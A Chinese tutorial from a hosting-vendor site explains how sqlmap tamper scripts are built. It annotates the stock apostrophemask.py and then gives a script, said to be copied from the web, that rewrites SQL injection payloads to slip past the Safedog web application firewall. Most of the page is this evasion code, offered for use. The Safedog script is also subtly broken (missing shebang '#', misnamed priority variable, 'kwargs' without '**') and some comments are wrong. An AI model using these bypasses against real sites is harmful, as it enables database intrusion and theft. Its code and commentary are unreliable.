本篇內容介紹了“sqlmap tamper編寫規則是什么”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
sqlmap是一個開源的滲透測試工具,可以用來自動化的檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。本文重點研究sqlmap的軟件具體的目錄結構,后續的文章也會從源碼編寫中,闡述sqlmap的種種編碼結果。本文從結構中,可以看到sqlmap中的軟件工程之美,同時從嚴謹的軟件結構目錄分類和構造中,看到sqlmap中的軟件開發過程中的龐大但簡潔的結構之美。
當我們下載了【sqlmap】的安裝包,解壓后到文件夾【sqlmap】,在以下路徑,我們可以找到文件夾【tamper】,該文件夾有很多個腳本分別對WAF進行檢測。例如360,綠盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可見老外對國內的WAF也是有了解的,可見他們也會悄悄對國內的WAF進行繞過。
由于【tamper】文件夾中有眾多的tamper腳本,限于篇幅,無法全部分析,故選取其中一個比較常用的腳本【apostrophemask.py】作為樣本分析 —— 內容是將 ' 替換成%EF%BC%87
這個里面會的參考內容其實就是url編碼表,打開看一下就可以知道內容了

#!/usr/bin/env python
#此處用法為:程序到env設置里查找python的安裝路徑,再調用對應路徑下的解釋器程序完成操作。這是非常好的做法
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
#文檔說明三個雙引號進行多行注釋,這就沒有說的意義了
from lib.core.enums import PRIORITY
#導入sqlmap中lib\core\enums中的PRIORITY函數, LOWEST = -100,LOWER = -50,. 詳細見enums.py
__priority__ = PRIORITY.LOWEST
#定義優先級,此處為級別為【lowest】
def dependencies():
#定義dependencies():此處是為了和整體腳本的結構保持一致。
pass
#pass 不做任何事情,一般用做占位語句。為了保持程序結構的完整性。
def tamper(payload, **kwargs):
#定義tamper腳本,payload, kwargs 為定義的參數,其中**kwargs為字典存儲,類似于 {'a': 1, 'c': 3, 'b': 2}
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
#此處為tamper說明 ,以便使用該腳本。在本例中,該腳本可以(e.g. ' -> %EF%BC%87)
References: 參考內容是什么,從以下幾個鏈接,其實就是將單引號 url 編碼
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* http://lukasz.pilorz.net/testy/unicode_conversion/
* http://sla.ckers.org/forum/read.php?13,11562,11850
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'舉例,就不詳細說明了
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
#替換 ' 為%EF%BC%87 最后返回payload.在這里,我們嘗試寫一個(從網上抄一個)繞過安全狗的tamper腳本,畢竟安全狗在服務器安全領域還是挺不錯的,竟然還是免費的,在linux和windows上有各種版本,并且一直維護更新中。
!/usr/bin/env python #此處代碼可以直接從其他tamper復制粘貼過來
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
v0.0.1
2016.08.21 腳本說明
"""
from lib.core.enums import PRIORITY #導入sqlmap中lib\core\enums中的PRIORITY函數, LOWEST = -100,LOWER = -50,. 詳細見enums.py
priority = PRIORITY.LOW #定義優先級,此處為級別為【一般】
def dependencies():
#定義dependencies():此處是為了和整體腳本的結構保持一致。
pass
#pass 不做任何事情,一般用做占位語句。為了保持程序結構的完整性
def tamper(payload, kwargs):
#定義tamper腳本,kwargs 為字典存儲,類似于 {'a': 1, 'c': 3}
"""
To bypass safedog
Replaces space character (' ') with plus ('/*|%20--%20|*/')
#把空格替換為(/*|%20--%20|*/)繞過,此處為繞過規則>>> tamper('SELECT id FROM users') #此處為替換后的具體執行形式'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload # 將payload賦值給 retVal ,以便中間轉換。
if payload: retVal = ""
quote, doublequote, firstspace = False, False, False
#定義這些符號參數,防止對后面的替換造成影響
for i in xrange(len(payload)):
# 在攻擊載荷中逐個進行判斷操作。
if not firstspace: # 如果攻擊載荷的第一個字段是空格,則進行替換
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/"
#把空格( ) 替換成(/*|%20--%20|*/)
continue #繼續進行判斷操作
elif payload[i] == '\'': #如果攻擊載荷中有(\ ),則進行編碼轉換
quote = not quote
elif payload[i] == '"': #如果攻擊載荷中有(“ ),則進行編碼轉換
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
#如果攻擊載荷中有空格(),并且它既不是doublequote 或 quote
retVal += "/*|%20--%20|*/" #則進行編碼轉換
continue #繼續執行
retVal += payload[i] #得到重新組合的payload
return retVal“sqlmap tamper編寫規則是什么”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。